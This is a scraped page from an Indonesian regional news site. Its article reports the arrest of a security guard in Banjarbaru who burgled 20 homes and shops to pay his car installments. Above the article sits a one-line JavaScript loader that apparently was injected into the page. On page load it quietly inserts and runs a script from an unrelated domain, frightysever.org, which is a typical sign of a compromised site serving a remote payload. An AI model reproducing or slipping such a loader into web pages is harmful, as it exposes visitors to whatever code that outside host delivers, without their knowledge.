(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Aksi pencurian yang dilakukan S (36), petugas sekuriti di Panti Sosial Loka Bina Karya Banjarbaru cukup mengejutkan. Bagaimana tidak, sebanyak 20 TKP di berbagai lokasi baik itu rumah maupun ruko, telah digarapnya seorang diri selama periode Maret – Juni lalu.
S berhasil diamankan Unit Satreskrim Polres Banjarbaru, usai aksi terakhinya terendus oleh pihak kepolisian. Selain menangkap S, petugas juga mengamankan barang bukti hasil curian sebanyak 37 unit alat elteronik.
Uniknya, aksi pencurian ini dilatarbelakangi oleh faktor ekonomi. Ya, barang hasil curian tersebut, nyatanya digunakan S untuk melunasi biaya cicilan mobil miliknya.
“Barang hasil mencuri itu, dijual pelaku untuk membayar cicilan mobilnya. Yang bersangkutan sehari-harinya berprofesi sebagai sekuriti. Ini faktor desakan ekonomi,” kata Kapolres Banjarbaru, AKBP Doni Hadi Santoso, Rabu (7/7/2020).
Dalam melancarkan aksi pencurian, S menggunakan mobil kreditan tersebut untuk memantau bangunan rumah atau ruko kosong ditinggal pemiliknya. Butuh waktu dua hari selama pemantauan, hingga akhirnya S mulai melancarkan aksi.
“Pembobolan dilakukan pelaku pada malam hari. Ketika ada warga sekitar atau tetangga yang bertanya, pelaku berdalih disuruh oleh si pemilik rumah,” lanjut AKBP Doni.
Pelaku ini terbilang lihai dan teliti saat melakukan aksi pencurian, seperti halnya menghapus atau menghilangkan jejak aksinya.
“Sebagai contoh, kamera CCTV yang terpasang di beberapa lokasi, berhasil ia ketahui dan diambil secara paksa. Kemudian CCTV tersebut dijual oleh pelaku,” kata Kapolres.
Baca juga: Sekuriti ‘Spesialis’ Mencuri, Lancarkan Aksi di 20 Lokasi Berbeda
Selama melancarkan aksinya, S melakukan pembongkaran paksa dengan menggunakan linggis, gembok, bahkan gerinda. Selanjutnya, seluruh barang berharga yang ada di dalam rumah ataupun ruko yang menjadi sasarannya, diangkut S ke dalam mobil miliknya.
“Mobil yang digunakan itu dibeli kredit oleh pelaku. Nah, hasil dari pencurian inilah yang digunakan pelaku untuk mencicil pembayaran mobil tersebut,” pungkas Kapolres Banjarbaru.
Atas perbuatannya, S dijerat pasal 363 (1) KUHP jo Pasal 85 KUHP tentang pencurian dengan pemberatan dan perbarengan beberapa perbuatan, dengan ancaman pidana maksimal 9 tahun penjara. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.